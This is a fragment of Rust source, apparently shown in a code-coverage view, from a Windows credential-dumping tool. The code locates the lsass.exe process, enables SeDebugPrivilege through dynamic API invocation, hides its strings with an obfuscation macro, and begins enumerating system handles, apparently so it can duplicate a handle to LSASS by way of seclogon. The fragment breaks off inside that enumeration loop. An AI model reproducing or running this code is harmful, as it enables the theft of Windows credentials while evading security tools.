[no_mangle] pub extern "Rust" fn dump(key: &str) {
(key: &str, url: &str, leak: bool)
| 22 | //#[no_mangle] |
| 23 | //pub extern "Rust" fn dump(key: &str) { |
| 24 | pub fn dump(key: &str, url: &str, leak: bool) { |
| 25 | unsafe |
| 26 | { |
| 27 | let lsass_pid = get_pid_from_image_path(&lc!("C:\\Windows\\System32\\lsass.exe")) as u16; |
| 28 | let mut target_pid = 0u16; |
| 29 | |
| 30 | if leak |
| 31 | { |
| 32 | target_pid = get_pid_from_image_path(&lc!("C:\\Windows\\System32\\seclogon.dll")) as u16; |
| 33 | } |
| 34 | |
| 35 | let privilege: u32 = 20; |
| 36 | let enable: u8 = 1; |
| 37 | let current_thread: u8 = 0; |
| 38 | let enabled: *mut u8 = std::mem::transmute(&u8::default()); |
| 39 | |
| 40 | //Enable SeDebugPrivilee |
| 41 | let r = dinvoke::rtl_adjust_privilege(privilege,enable,current_thread,enabled); |
| 42 | |
| 43 | if r != 0 |
| 44 | { |
| 45 | println!("{}",&lc!("[x] SeDebugPrivilege could not be enabled.")); |
| 46 | return; |
| 47 | } |
| 48 | else |
| 49 | { |
| 50 | println!("{}", &lc!("[+] SeDebugPrivilege successfully enabled.")); |
| 51 | } |
| 52 | |
| 53 | if leak |
| 54 | { |
| 55 | force_leakage(); |
| 56 | } |
| 57 | |
| 58 | let shi: *mut SYSTEM_HANDLE_INFORMATION; |
| 59 | let mut ptr: PVOID; |
| 60 | let mut buffer; |
| 61 | let mut bytes = 0x10000; |
| 62 | let mut c = 0; |
| 63 | |
| 64 | loop |
| 65 | { |
| 66 | buffer = vec![0u8; bytes as usize]; |
| 67 | ptr = std::mem::transmute(buffer.as_ptr()); |
| 68 | let bytes_ptr: *mut u32 = std::mem::transmute(&bytes); |
| 69 | // Query the system looking for handles information |
| 70 | let x = dinvoke::nt_query_system_information(16,ptr,bytes,bytes_ptr); |
| 71 | |
| 72 | if x != 0 |
| 73 | { |
| 74 | bytes *= 2; |
| 75 | } |
| 76 | else |
| 77 | { |
| 78 | shi = std::mem::transmute(ptr); |
| 79 | break; |
| 80 | } |
| 81 |
no test coverage detected